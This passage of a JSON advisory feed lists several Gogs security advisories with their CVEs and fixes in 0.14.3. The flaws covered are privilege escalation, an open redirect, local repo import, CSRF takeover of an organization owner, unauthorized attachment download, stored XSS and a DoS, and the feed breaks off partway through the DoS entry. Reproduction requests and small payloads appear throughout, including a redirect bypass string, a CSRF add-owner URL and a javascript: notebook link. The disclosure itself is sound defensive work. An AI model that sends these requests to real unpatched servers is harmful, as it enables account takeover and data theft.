0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nMmY1LWdqcjQtcWp2bc4ABZTL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NTY1LXI0eDctaGc4as4ABZTK","url":"https://github.com/advisories/GHSA-4565-r4x7-hg8j","title":"Gogs Vulnerable to Privilege Escalation via Collaboration Access Mode Validation","description":"## Summary\n\nA repository admin collaborator can escalate their privileges to owner-level access by exploiting an off-by-one error in the `ChangeCollaborationAccessMode` function.\n\n## Vulnerable Code\n\nIn `internal/database/repo_collaboration.go`, line 129:\n\n```go\nfunc (r *Repository) ChangeCollaborationAccessMode(userID int64, mode AccessMode) error {\n    // Discard invalid input\n    if mode \u003c= AccessModeNone || mode \u003e AccessModeOwner {\n        return nil\n    }\n```\n\n`AccessModeOwner` has value 4. The check `mode \u003e AccessModeOwner` evaluates to `4 \u003e 4 = false`, allowing `AccessModeOwner` to pass through. The correct check should be `mode \u003e= AccessModeOwner`.\n\nThe web route at `internal/route/repo/setting.go:413-416` takes the mode as a raw integer from query parameters:\n\n```go\nfunc ChangeCollaborationAccessMode(c *context.Context) {\n    if err := c.Repo.Repository.ChangeCollaborationAccessMode(\n        c.QueryInt64(\"uid\"),\n        database.AccessMode(c.QueryInt(\"mode\"))); err != nil {\n```\n\nThis allows an admin collaborator to POST `mode=4` and escalate to owner.\n\n## Impact\n\nA repository admin collaborator (AccessModeAdmin = 3) can escalate to owner-level access (AccessModeOwner = 4), gaining the ability to:\n- **Delete the repository**\n- **Transfer repository ownership** to another user\n- **Erase wiki data**\n- Perform all other owner-only operations\n\nThe `access` table is also updated (line 181), so the escalated permissions persist across sessions.\n\n## Contrast\n\nThe API route at `internal/route/api/v1/repo_collaborators.go:46` uses `ParseAccessMode()` which only returns Read, Write, or Admin - never Owner. The API endpoint is not affected.\n\n## Steps to Reproduce\n\n1. User A creates a private repository\n2. User A adds User B as a collaborator with **Admin** access (mode=3)\n3. User B logs in and navigates to the repository settings collaboration page\n4. User B sends a POST request:\n   ```\n   POST /{owner}/{repo}/settings/collaboration/access_mode?uid={B_uid}\u0026mode=4\n   ```\n5. User B now has **Owner** access - the \"Danger Zone\" section appears with \"Delete This Repository\" and \"Transfer Ownership\" buttons\n\n## Suggested Fix\n\nChange the validation in `internal/database/repo_collaboration.go` line 129 from:\n```go\nif mode \u003c= AccessModeNone || mode \u003e AccessModeOwner {\n```\nto:\n```go\nif mode \u003c= AccessModeNone || mode \u003e= AccessModeOwner {\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-23T16:52:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/gogs/gogs/security/advisories/GHSA-4565-r4x7-hg8j","https://github.com/gogs/gogs/pull/8227","https://github.com/gogs/gogs/commit/1fdc9cc28e159135cfa4d6b11ecd5daa0f8ce22b","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52804","https://github.com/advisories/GHSA-4565-r4x7-hg8j"],"source_kind":"github","identifiers":["GHSA-4565-r4x7-hg8j","CVE-2026-52804"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T17:00:09.538Z","updated_at":"2026-08-28T13:01:26.347Z","epss_percentage":0.00499,"epss_percentile":0.40519,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NTY1LXI0eDctaGc4as4ABZTK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NTY1LXI0eDctaGc4as4ABZTK","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NTY1LXI0eDctaGc4as4ABZTK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14eGhxLTY5bWYtdzhjcs4ABZTJ","url":"https://github.com/advisories/GHSA-xxhq-69mf-w8cr","title":"Gogs has an Open Redirect via redirect_to","description":"### Summary\nAn open redirect vulnerability exists in Gogs where attacker-controlled `redirect_to` parameters can bypass validation, allowing redirection to arbitrary external sites.\n\n\n### Details\nAll redirects in Gogs that are validated via the `IsSameSite` function are vulnerable:\n```go\nfunc IsSameSite(url string) bool {\n    return len(url) \u003e= 2 \u0026\u0026 url[0] == '/' \u0026\u0026 url[1] != '/' \u0026\u0026 url[1] != '\\\\'\n}\n```\n\nThe function only inspects the first two characters of the URL string. This check fails to account for directory traversal sequences followed by backslashes. For example:\n```\n/a/../\\example.com\n```\n\nThe `IsSameSite` function checks the input supplied to the `redirect_to` query parameter value `/a/../\\example.com` and considers it valid.\n\nBecause web browsers normalize backslashes `\\` to forward slashes `/`, the normalized URL becomes `//example.com`.\n\nThe normalized URL becomes:\n```\n//example.com\n```\n\nResulting in a cross-origin redirect.\n\nThis affects all endpoints using the `redirect_to` query parameter, including login and other post-action flows.\n\n\n### PoC\n\n1. An attacker can provide a user with a link to login to Gogs with a `redirect_to` query parameter that redirects a user to a site the attacker wants them to visit:\n```\nhttp://192.168.236.132:3000/user/login?redirect_to=/a/../\\example.com\n```\n\n\u003cimg width=\"1339\" height=\"536\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3c2a13b8-f0b7-42c2-a223-6f0ebf083589\" /\u003e  \n\n\u003cbr\u003e\n\u003cbr\u003e\n\n2. After the user successfully logs in, they would be redirected to the site an attacker wants them to visit:\n\n\u003cimg width=\"1066\" height=\"463\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1726a3d9-6705-43cc-bdd2-90aad105d021\" /\u003e\n\n\u003cimg width=\"1097\" height=\"396\" alt=\"image\" src=\"https://github.com/user-attachments/assets/376052f5-0e00-4d14-a548-fa75a6269530\" /\u003e\n\n\n### Impact\n* Phishing: Attackers can use trusted domain links to redirect victims to credential-harvesting pages\n* OAuth/SSO Token Theft: In authentication flows, authorization codes or tokens may leak via redirect\n* Referer Leakage: Sensitive URL parameters may be exposed to attacker domains via the Referer header\n* Cache Poisoning: In deployments with shared caches, malicious redirects may be cached and served to other users","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-23T16:42:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-xxhq-69mf-w8cr","https://github.com/gogs/gogs/pull/8322","https://github.com/gogs/gogs/commit/c5da9631dc75f692f313373ae229c4d47ba6517f","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52802","https://github.com/advisories/GHSA-xxhq-69mf-w8cr"],"source_kind":"github","identifiers":["GHSA-xxhq-69mf-w8cr","CVE-2026-52802"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T17:00:09.538Z","updated_at":"2026-08-28T13:01:26.348Z","epss_percentage":0.00554,"epss_percentile":0.43771,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14eGhxLTY5bWYtdzhjcs4ABZTJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14eGhxLTY5bWYtdzhjcs4ABZTJ","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c= 0.14.2"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14eGhxLTY5bWYtdzhjcs4ABZTJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13djI3LTJ2cXAtajdnNc4ABZRq","url":"https://github.com/advisories/GHSA-wv27-2vqp-j7g5","title":"Gogs has the ability to import local repositories via Mirror Settings","description":"### Summary\nThe Gogs Mirror Settings functionality provide an alternative way from the well protected New Migration functionality for any authenticated users to import local repositories. This issue stems from a lack of validation of SaveAddress function.\n\n### Details\nHere is the function implementation of the secure New Migration functionality.\n\u003cimg width=\"1200\" height=\"755\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a6c2f307-715e-4451-bbc1-7bd934d56f96\" /\u003e\n\nHere is the function implementation of the Mirror Settings without any validation.\n\u003cimg width=\"1200\" height=\"477\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a11c41b8-1d08-499c-bce6-ab40844211d7\" /\u003e\n\n### PoC\nThe New Migration feature correctly blocked my attempt to import a local repository.\n\u003cimg width=\"1200\" height=\"1008\" alt=\"image\" src=\"https://github.com/user-attachments/assets/dfc5aa3f-1cc4-427d-b7fe-274363c83c4e\" /\u003e\n\nBut if I create a normal migration with a valid repository.\n\u003cimg width=\"1200\" height=\"1006\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c96b356e-8ca9-4e79-a69b-ff14593c0cac\" /\u003e\n\nThen, I could use the Mirror Settings feature under the Repository Settings sync a local repository.\n\u003cimg width=\"1200\" height=\"476\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9105475c-ae68-4d93-96d5-a3ec356deba7\" /\u003e\n\nHere is the result after the sync.\n\u003cimg width=\"1200\" height=\"533\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1df76642-3e55-4493-a422-f7f0619b463d\" /\u003e\n\n\n### Impact\nUsers can import local repositories from the server's filesystem, which allows accessing any repository the git user has access to. There is also a potential issue of blind SSRF.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-23T00:03:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-wv27-2vqp-j7g5","https://github.com/gogs/gogs/pull/8225","https://github.com/gogs/gogs/commit/11e19f28b5c82466fd1689c94344ef4313ee986c","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52801","https://github.com/advisories/GHSA-wv27-2vqp-j7g5"],"source_kind":"github","identifiers":["GHSA-wv27-2vqp-j7g5","CVE-2026-52801"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T01:00:09.339Z","updated_at":"2026-08-28T13:01:26.348Z","epss_percentage":0.00569,"epss_percentile":0.4452,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13djI3LTJ2cXAtajdnNc4ABZRq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13djI3LTJ2cXAtajdnNc4ABZRq","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13djI3LTJ2cXAtajdnNc4ABZRq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wd3gzLXFjZ3ctdmg3aM4ABZRp","url":"https://github.com/advisories/GHSA-pwx3-qcgw-vh7h","title":"Gogs Vulnerable to CSRF Leading to Organization Owner Takeover","description":"## Summary\n\nIn **Gogs 0.14.1**, organization team member management can be performed via **GET requests without CSRF protection**.\nIf a victim who is an **organization owner** is logged in and is tricked into visiting a crafted link, an attacker-controlled user can be added to the **Owners** team. As a result, the attacker gains **organization owner–equivalent privileges**.\n\n---\n\n## Description\n\nWhen a victim is logged in as an organization owner, **team member management endpoints are exposed via routes reachable by GET requests**, allowing state-changing operations without a CSRF token.\n\n### Team action route allows GET\n\n`internal/cmd/web.go:390`\n\n```go\nm.Route(\"/teams/:team/action/:action\", \"GET,POST\", org.TeamsAction)\n```\n\n### CSRF validation is applied only to POST requests\n\nBecause the global CSRF check is limited to POST requests, state-changing operations reached via GET bypass CSRF protection entirely.\n\n`internal/context/auth.go:56-61`\n\n```go\nif !options.SignOutRequired \u0026\u0026 !options.DisableCSRF \u0026\u0026\n   c.Req.Method == \"POST\" \u0026\u0026 !isAPIPath(c.Req.URL.Path) {\n    csrf.Validate(c.Context, c.csrf)\n    if c.Written() {\n        return\n    }\n}\n```\n\n### TeamsAction performs state changes regardless of HTTP method\n\n`TeamsAction` does not branch on the HTTP method. Instead, it performs state-changing operations (such as adding or removing members) based solely on query parameters (`uid`, `uname`) and the `:action` path parameter.\nSince the route explicitly allows GET, the `add` action can be executed via GET.\n\n`internal/route/org/teams.go:38-83`\n\n```go\nfunc TeamsAction(c *context.Context) {\n    uid := com.StrTo(c.Query(\"uid\")).MustInt64()\n    if uid == 0 {\n        c.Redirect(c.Org.OrgLink + \"/teams\")\n        return\n    }\n\n    page := c.Query(\"page\")\n    var err error\n    switch c.Params(\":action\") {\n    case \"add\":\n        if !c.Org.IsOwner {\n            c.NotFound()\n            return\n        }\n        uname := c.Query(\"uname\")\n        var u *database.User\n        u, err = database.Handle.Users().GetByUsername(c.Req.Context(), uname)\n        // ...\n        err = c.Org.Team.AddMember(u.ID)\n        page = \"team\"\n    }\n}\n```\n\n### Adding a user to the Owners team grants organization owner privileges\n\nWhen a user joins the **Owners** team, `OrgUser.IsOwner` is set to `true`. Therefore, adding a user to the Owners team directly results in granting organization owner–equivalent privileges.\n\n`internal/database/org_team.go:566-576`\n\n```go\nou := new(OrgUser)\nif _, err = sess.Where(\"uid = ?\", userID).\n    And(\"org_id = ?\", orgID).Get(ou); err != nil {\n    return err\n}\nou.NumTeams++\nif t.IsOwnerTeam() {\n    ou.IsOwner = true\n}\nif _, err = sess.ID(ou.ID).AllCols().Update(ou); err != nil {\n    return err\n}\n```\n\n### Related issue: organization member actions are also state-changing via GET\n\nFor reference, organization member management endpoints are also exposed as GET routes that perform state changes without CSRF protection.\n\n`internal/cmd/web.go:382`\n\n```go\nm.Get(\"/members/action/:action\", org.MembersAction)\n```\n\n`MembersAction` similarly does not branch on HTTP method and performs state-changing operations (public/private toggle, remove, leave) based on query parameters and the `:action` path parameter.\n\n`internal/route/org/members.go:31-71`\n\n```go\nfunc MembersAction(c *context.Context) {\n    uid := com.StrTo(c.Query(\"uid\")).MustInt64()\n    if uid == 0 {\n        c.Redirect(c.Org.OrgLink + \"/members\")\n        return\n    }\n\n    org := c.Org.Organization\n    var err error\n    switch c.Params(\":action\") {\n    case \"private\":\n        err = database.ChangeOrgUserStatus(org.ID, uid, false)\n    case \"public\":\n        err = database.ChangeOrgUserStatus(org.ID, uid, true)\n    case \"remove\":\n        err = org.RemoveMember(uid)\n    case \"leave\":\n        err = org.RemoveMember(c.User.ID)\n    }\n}\n```\n\n---\n\n## Steps to Reproduce\n\n1. Prepare a target user account to be added (e.g., `attacker`).\n\n2. Confirm that the victim user is an **owner** of the target organization (e.g., `org3`) and is logged in.\n\n3. Cause the victim’s browser to perform a **top-level navigation** to the following URL:\n\n   ```\n   http://localhost:10880/org/org3/teams/owners/action/add?uid=1\u0026uname=attacker\n   ```\n\u003cimg width=\"2019\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/342a627a-04e8-47bd-818a-9c2b05a75446\" /\u003e\n\n\n4. After the request completes, verify that the `attacker` user can access:\n\n   ```\n   http://localhost:10880/org/org3/settings\n   ```\n\n   confirming that organization owner privileges have been obtained.\n\n\u003cimg width=\"2010\" height=\"285\" alt=\"image\" src=\"https://github.com/user-attachments/assets/03945bb1-e9c5-4e42-ad3a-9f6d63b7d86d\" /\u003e\n\n\n\u003cimg width=\"2016\" height=\"893\" alt=\"image\" src=\"https://github.com/user-attachments/assets/55d7db13-52cf-471b-a6d3-aa4186c8b547\" /\u003e\n\n\n\n\n---\n\n## Impact\n\nSuccessful exploitation allows an attacker to obtain **organization owner privileges**, resulting in:\n\n* Full control over organization repositories, settings, and members\n* Unauthorized access to private repositories (confidentiality impact)\n* Modification or deletion of repositories and settings (integrity impact)\n* Repository deletion or disruption leading to service unavailability (availability impact)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-23T00:02:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-pwx3-qcgw-vh7h","https://github.com/gogs/gogs/pull/8321","https://github.com/gogs/gogs/commit/070df61ecd14c75b0aca93090f860b87ab17ac19","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52800","https://github.com/advisories/GHSA-pwx3-qcgw-vh7h"],"source_kind":"github","identifiers":["GHSA-pwx3-qcgw-vh7h","CVE-2026-52800"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T01:00:09.339Z","updated_at":"2026-08-28T13:01:26.348Z","epss_percentage":0.00248,"epss_percentile":0.1588,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wd3gzLXFjZ3ctdmg3aM4ABZRp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wd3gzLXFjZ3ctdmg3aM4ABZRp","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wd3gzLXFjZ3ctdmg3aM4ABZRp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wOWY1LWgzcngtajVxd84ABZRo","url":"https://github.com/advisories/GHSA-p9f5-h3rx-j5qw","title":"Gogs Missing Authorization in Attachment Download","description":"## Summary\n\nIn Gogs 0.14.1, `GET /attachments/:uuid` returns the raw attachment file **without verifying whether the requester has view permission for the associated Issue/Comment/Release or the repository**.\nIn a test environment with `REQUIRE_SIGNIN_VIEW = false`, we confirmed that **an unauthenticated user can download attachments belonging to a private repository**.\n\n## Description\n\n`/attachments/:uuid` retrieves an attachment record solely by the UUID provided in the URL and returns the corresponding local file **without performing any authorization checks** against the attachment’s parent object (Issue/Comment/Release) or the repository it belongs to. As a result, even attachments under private repositories can be downloaded by an unauthenticated user (or a user without proper permissions) as long as the UUID is known.\n\nRelevant code (internal/cmd/web.go:306):\n\n```go\nm.Get(\"/attachments/:uuid\", func(c *context.Context) {\n\tattach, err := database.GetAttachmentByUUID(c.Params(\":uuid\"))\n\tif err != nil {\n\t\tc.NotFoundOrError(err, \"get attachment by UUID\")\n\t\treturn\n\t} else if !com.IsFile(attach.LocalPath()) {\n\t\tc.NotFound()\n\t\treturn\n\t}\n\n\tfr, err := os.Open(attach.LocalPath())\n\tif err != nil {\n\t\tc.Error(err, \"open attachment file\")\n\t\treturn\n\t}\n\tdefer fr.Close()\n\n\tc.Header().Set(\"Content-Security-Policy\", \"default-src 'none'; style-src 'unsafe-inline'; sandbox\")\n\tc.Header().Set(\"Cache-Control\", \"public,max-age=86400\")\n\tc.Header().Set(\"Content-Disposition\", fmt.Sprintf(`inline; filename=\"%s\"`, attach.Name))\n\n\tif _, err = io.Copy(c.Resp, fr); err != nil {\n\t\tc.Error(err, \"copy from file to response\")\n\t\treturn\n\t}\n})\n```\n\nThe UUID lookup itself also performs **no validation tied to repository visibility or user permissions**. Authorization is not enforced at this layer.\n\nRelevant code (internal/database/attachment.go:124):\n\n```go\n// GetAttachmentByUUID returns attachment by given UUID.\nfunc GetAttachmentByUUID(uuid string) (*Attachment, error) {\n\treturn getAttachmentByUUID(x, uuid)\n}\n```\n\n## Preconditions\n\n* The attacker knows the target attachment’s UUID (i.e., the attachment URL).\n* For unauthenticated exploitation: `[auth] REQUIRE_SIGNIN_VIEW = false`.\n* Even when `REQUIRE_SIGNIN_VIEW = true`, exploitation may still be possible because the handler does not check repository-level permissions; a user who can log in but lacks access to the target repository may still retrieve the attachment.\n\n## Steps to Reproduce\n\n1. Log in as an administrator and create a private repository, e.g. `myadmin/idor-attach-1770724346-1a13bb`.\n2. Add an attachment to an Issue in that repository and note the attachment UUID\n   (example UUID used during testing: `f06d90f8-5b62-4c10-ac8d-f11fdf870b57`).\n3. Log out and access the following as an unauthenticated user:\n\n* The repository page → 404 Not Found\n\u003cimg width=\"1702\" height=\"758\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8fdb1d92-cfc3-4ef8-977e-60ec13f792df\" /\u003e\n\n* The Issue page under that repository → 404 Not Found\n\u003cimg width=\"1983\" height=\"546\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c44c5e69-8ca2-4ea6-a071-62302b7e896f\" /\u003e\n\n* `GET /attachments/\u003cuuid\u003e` → **the attachment file is successfully downloaded**\n\u003cimg width=\"2007\" height=\"378\" alt=\"image\" src=\"https://github.com/user-attachments/assets/23950ac6-6b3a-42f8-a06b-b9e0cf508d24\" /\u003e\n\n\n\n## Minimum Required Privileges\n\n* `REQUIRE_SIGNIN_VIEW = false`: none (works without authentication).\n* `REQUIRE_SIGNIN_VIEW = true`: only the ability to log in (repository view permission is not required in practice).\n\n## Impact\n\n* Confidential information attached to private repositories or restricted Issues/Releases may be disclosed.\n\n  * Examples include credentials, cryptographic keys, personal data, internal documents, or unpublished source code fragments.\n* While the severity depends on the attachment contents, attachments frequently contain sensitive data, making the potential impact high.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-22T23:59:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-p9f5-h3rx-j5qw","https://github.com/gogs/gogs/pull/8320","https://github.com/gogs/gogs/commit/d3ca23f9f33d5710472a775d6dcd3a7bb128bb05","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52799","https://github.com/advisories/GHSA-p9f5-h3rx-j5qw"],"source_kind":"github","identifiers":["GHSA-p9f5-h3rx-j5qw","CVE-2026-52799"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T00:00:09.088Z","updated_at":"2026-08-28T13:01:26.349Z","epss_percentage":0.00422,"epss_percentile":0.34986,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOWY1LWgzcngtajVxd84ABZRo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wOWY1LWgzcngtajVxd84ABZRo","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c= 0.14.2"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOWY1LWgzcngtajVxd84ABZRo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcTh2LXJtZjYtNjVqd84ABZRn","url":"https://github.com/advisories/GHSA-jq8v-rmf6-65jw","title":"Gogs has Stored XSS in `.ipynb` Preview","description":"# Summary\n\nAlthough `.ipynb` previews are sanitized on the server side via `/-/api/sanitize_ipynb`, the inserted content is **re-rendered on the client side without sanitization** using `marked()` on elements with the `.nb-markdown-cell` class. During this process, links containing schemes such as `javascript:` can be regenerated.\n\nAs a result, when a victim views an attacker-crafted `.ipynb` file and clicks the link, **arbitrary JavaScript is executed in the Gogs origin**, leading to a click-based Stored XSS.\n\n# Details\n\nAfter the rendered output of a `.ipynb` file is sanitized via `/-/api/sanitize_ipynb` and inserted into the DOM, **only the Markdown cell portions are re-rendered using `marked()` and overwritten in the DOM**. During this process, links with the `javascript:` scheme can be regenerated.\n\n`templates/repo/view_file.tmpl:42–71`\n\n```html\n{{else if .IsIPythonNotebook}}\n  \u003cscript\u003e\n    $.getJSON(\"{{.RawFileLink}}\", null, function(notebook_json) {\n      var notebook = nb.parse(notebook_json);\n      var rendered = notebook.render();\n      $.ajax({\n        type: \"POST\",\n        url: '{{AppSubURL}}/-/api/sanitize_ipynb',\n        data: rendered.outerHTML,\n        processData: false,\n        contentType: false,\n      }).done(function(data) {\n        $(\"#ipython-notebook\").append(data);\n        $(\"#ipython-notebook code\").each(function(i, block) {\n          $(block).addClass(\"py\").addClass(\"python\");\n          hljs.highlightBlock(block);\n        });\n\n        // Overwrite image method to append proper prefix to the source URL\n        var renderer = new marked.Renderer();\n        var context = '{{.RawFileLink}}';\n        context = context.substring(0, context.lastIndexOf(\"/\"));\n        renderer.image = function (href, title, text) {\n          return `\u003cimg src=\"${context}/${href}\"`\n        };\n        $(\"#ipython-notebook .nb-markdown-cell\").each(function(i, markdown) {\n          $(markdown).html(marked($(markdown).html(), {renderer: renderer}));\n        });\n      });\n    });\n  \u003c/script\u003e\n```\n\nWhile **regular HTML pages (including `.ipynb` preview pages)** are served **without a Content Security Policy (CSP)**, CSP headers are applied **only to attachment delivery routes**.\n\n`internal/cmd/web.go:323`\n\n```go\nc.Header().Set(\"Content-Security-Policy\", \"default-src 'none'; style-src 'unsafe-inline'; sandbox\")\n```\n\n\n# Steps to Reproduce\n\n1. As the attacker, add and push/commit a `.ipynb` file containing a `javascript:` link in a Markdown cell to a repository.\n\n   * Example (PoC):\n\n     ```json\n     {\n       \"nbformat\": 4,\n       \"nbformat_minor\": 2,\n       \"metadata\": {},\n       \"cells\": [\n         {\n           \"cell_type\": \"markdown\",\n           \"metadata\": {},\n           \"source\": [\n             \"[poc](javascript:alert(document.domain))\"\n           ]\n         }\n       ]\n     }\n     ```\n\n2. The victim opens the file on Gogs (e.g., `/\u003cuser\u003e/\u003crepo\u003e/src/\u003cbranch\u003e/poc.ipynb`).\n\u003cimg width=\"2386\" height=\"1218\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b0d93fd8-c5ca-4058-8af0-98dee590d3ad\" /\u003e\n\n3. When the victim clicks the `poc` link displayed in the preview, `alert(document.domain)` is executed in the same Gogs origin.\n\u003cimg width=\"2390\" height=\"1388\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0eb6ebe8-632c-4a41-8a11-46471514b4c4\" /\u003e\n\n# Minimum Required Privileges\n\n* **Attacker**: Ability to place a `.ipynb` file as a **regular (non-admin) user**\n\n  * For example: a general user who can create a public repository and add files.\n  * Or: write access (collaborator, etc.) to an existing repository that the victim will view.\n* **Victim**: Permission to view the repository (a click is required).\n\n# Impact\n\n* Unauthorized actions performed with the victim’s account privileges (e.g., repository settings changes, Issue operations,誘導 to token creation).\n* Theft of information accessible to the victim (repository/Issue/Wiki contents, tokens exposed in page context).\n* If the victim is an administrator, the impact may escalate to instance-wide configuration changes and user management.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-22T23:58:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L","references":["https://github.com/gogs/gogs/security/advisories/GHSA-jq8v-rmf6-65jw","https://github.com/gogs/gogs/pull/8319","https://github.com/gogs/gogs/commit/17b168b11ca759a7550e1f4bbd68bbde14db7785","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52798","https://github.com/advisories/GHSA-jq8v-rmf6-65jw"],"source_kind":"github","identifiers":["GHSA-jq8v-rmf6-65jw","CVE-2026-52798"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T00:00:09.088Z","updated_at":"2026-08-28T13:01:26.349Z","epss_percentage":0.00429,"epss_percentile":0.35549,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcTh2LXJtZjYtNjVqd84ABZRn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcTh2LXJtZjYtNjVqd84ABZRn","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c= 0.14.2"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcTh2LXJtZjYtNjVqd84ABZRn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00ajg5LTJjNGYtNDRjNs4ABZRm","url":"https://github.com/advisories/GHSA-4j89-2c4f-44c6","title":"Gogs has DoS in rendering issue index pattern","description":"### Summary\nSpecial template of issue index pattern may cause panic.\n\n### Details\n\nin internal/markup/markup.go\n\n```go\nlink = fmt.Sprintf(`\u003ca href=\"%s\"\u003e%s\u003c/a\u003e`, com.Expand(metas[\"format\"], metas), m)\n```\n\nIssue index pattern is rendered to link with `com.Expand`.\n\nHowever, `com.Expand` is not safe.\n\n```go\ni = strings.Index(template, \"}\")\nif s, ok := match[template[:i]]; ok {\n```\n\nwhen `{` is found but `}` not found, i comes to 1, template[:-1] will be called, and then panicked\n\n![image](https://user-images.githubusercontent.com/38121125/285883766-64873c44-d325-44ce-96a8-badbaadab178.png)\n\nfinally, all pages than contains issue index are unavailable.\n\n### PoC\n\n1. set issue index pattern as follow\n\n![image](https://user-images.githubusercontent.com/38121125/285878157-c5fe848e-0fbd-4fdb-92d4-5eb01df2b8ca.png)\n\n2. add a commit which point to an issue in its 